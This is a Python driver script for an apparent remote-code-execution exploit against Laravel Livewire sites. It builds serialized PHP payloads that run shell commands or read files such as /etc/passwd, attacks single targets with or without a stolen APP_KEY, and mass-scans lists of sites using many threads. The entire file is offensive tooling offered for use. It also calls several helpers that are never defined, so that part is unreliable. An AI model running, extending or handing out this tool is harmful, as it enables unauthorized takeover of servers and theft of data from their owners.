#!/usr/bin/env python3 import argparse import warnings warnings.filterwarnings("ignore") from exploit.exploit_appkey import ExploitWithAppKey from exploit.exploit_wappkey import ExploitWithoutAppKey # Import fitur baru from exploit.payload_generator import CustomPayloadGenerator from exploit.mass import LivewireMassChecker def format_url(url: str) -> str: """Format URL dengan auto-protocol detection (safety check)""" import requests from requests.exceptions import RequestException url = url.strip() # Jika sudah ada protocol, return as is if url.startswith(("http://", "https://")): return url # Auto-detect dengan HEAD request protocols = ["https://", "http://"] for protocol in protocols: try: test_url = f"{protocol}{url}" response = requests.head( test_url, timeout=3, verify=False, allow_redirects=True, headers={'User-Agent': 'Mozilla/5.0'} ) if response.status_code < 500: return test_url except RequestException: continue # Default ke HTTPS return f"https://{url}" def main(): parser = argparse.ArgumentParser( description="Livewire RCE Exploit Tool - Enhanced Version", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Basic exploit %(prog)s -u https://target.com # With custom function %(prog)s -u https://target.com --custom-function "shell:ls -la" # With APP_KEY %(prog)s -u https://target.com -a "base64_app_key" # Mass check %(prog)s --mass-check targets.txt -o results.json # Generate payload only %(prog)s --generate-payload --function "read:/etc/passwd" """ ) # Basic arguments parser.add_argument("-u", "--url", help="Target URL (with or without protocol)") parser.add_argument("-f", "--function", default="system", help="PHP function to execute") parser.add_argument("-p", "--param", default="id", help="Parameter for function") parser.add_argument("-a", "--app-key", help="APP_KEY to sign snapshot") # Advanced features parser.add_argument("--custom-function", help="Custom command for custom_exec (format: function:param)") parser.add_argument("--custom-file", help="PHP file with custom_exec function") parser.add_argument("--generate-payload", action="store_true", help="Generate payload only (no exploit)") parser.add_argument("--payload-output", help="Output file for generated payload") # Mass checking parser.add_argument("--mass-check", help="File with list of targets to check") parser.add_argument("-o", "--output", help="Output file for results") parser.add_argument("-t", "--threads", type=int, default=10, help="Threads for mass check") parser.add_argument("--output-format", choices=['json', 'csv', 'both'], default='json', help="Output format for results") parser.add_argument("--realtime", action='store_true', help="Enable realtime saving of results") # Original tool arguments parser.add_argument("-H", "--headers", action="append", help="Headers to add") parser.add_argument("-P", "--proxy", help="Proxy URL") parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output") parser.add_argument("-F", "--force", action="store_true", help="Force exploit") parser.add_argument("-c", "--check", action="store_true", help="Only check if vulnerable") args = parser.parse_args() # Validate arguments if not args.url and not args.mass_check and not args.generate_payload: parser.error("Either --url, --mass-check, or --generate-payload is required") # ========== MODE 1: GENERATE PAYLOAD ONLY ========== if args.generate_payload: generator = CustomPayloadGenerator() if args.custom_function: # Custom function format: shell:ls -la payload = generator.generate_custom_payload(args.custom_function) elif args.custom_file: # Load from PHP file with open(args.custom_file, 'r') as f: php_code = f.read() payload = generator.generate_from_php_code(php_code, args.param) else: # Standard payload payload = generator.generate_standard_payload(args.function, args.param) print(f"[*] Generated payload:\n{payload}") if args.payload_output: with open(args.payload_output, 'w') as f: f.write(payload) print(f"[+] Payload saved to {args.payload_output}") # Generate base64 version untuk tools original import base64 payload_b64 = base64.b64encode(payload.encode()).decode() print(f"\n[*] Base64 encoded (for unserialize):\n{payload_b64}") return # ========== MODE 2: MASS CHECK ========== if args.mass_check: checker = LivewireMassChecker( threads=args.threads, timeout=10, proxy=args.proxy, debug=args.debug ) # Jika realtime mode if args.realtime: checker = StreamingMassChecker( threads=args.threads, timeout=10, proxy=args.proxy, debug=args.debug, output_file=args.output ) # Tambahkan callbacks checker.add_callback(print_to_console) if args.output_format in ['csv', 'both']: csv_file = args.output.replace('.json', '.csv') if args.output else 'results.csv' checker.add_callback(lambda r: save_to_csv(r, csv_file)) checker.check_from_file(args.mass_check, args.output) return # ========== MODE 3: SINGLE TARGET EXPLOIT ========== # Format URL jika perlu target_url = format_url(args.url) print(f"[*] Target: {target_url}") # Jika ada custom function, kita perlu generate payload khusus if args.custom_function or args.custom_file: print("[*] Using custom payload mode") # Generate custom payload generator = CustomPayloadGenerator() if args.custom_file: with open(args.custom_file, 'r') as f: php_code = f.read() serialized_payload = generator.generate_from_php_code(php_code, args.param) else: # custom_function format: shell:ls -la serialized_payload = generator.generate_custom_payload(args.custom_function) # Untuk tools original, kita perlu base64 encode dan gunakan unserialize import base64 payload_b64 = base64.b64encode(serialized_payload.encode()).decode() # Override param dengan payload base64 args.param = payload_b64 args.function = "unserialize" # Karena payload kita sudah serialized print(f"[*] Using unserialize with custom payload") if args.debug: print(f"[DEBUG] Payload: {serialized_payload[:100]}...") print(f"[DEBUG] Base64: {payload_b64[:50]}...") # Jalankan exploit dengan class yang sesuai if args.app_key is not None: exploit = ExploitWithAppKey( target_url, args.debug, args.function, args.param, args.headers, args.proxy, args.app_key ) else: exploit = ExploitWithoutAppKey( target_url, args.debug, args.function, args.param, args.headers, args.proxy, args.check, args.force ) exploit.run() if __name__ == "__main__": main()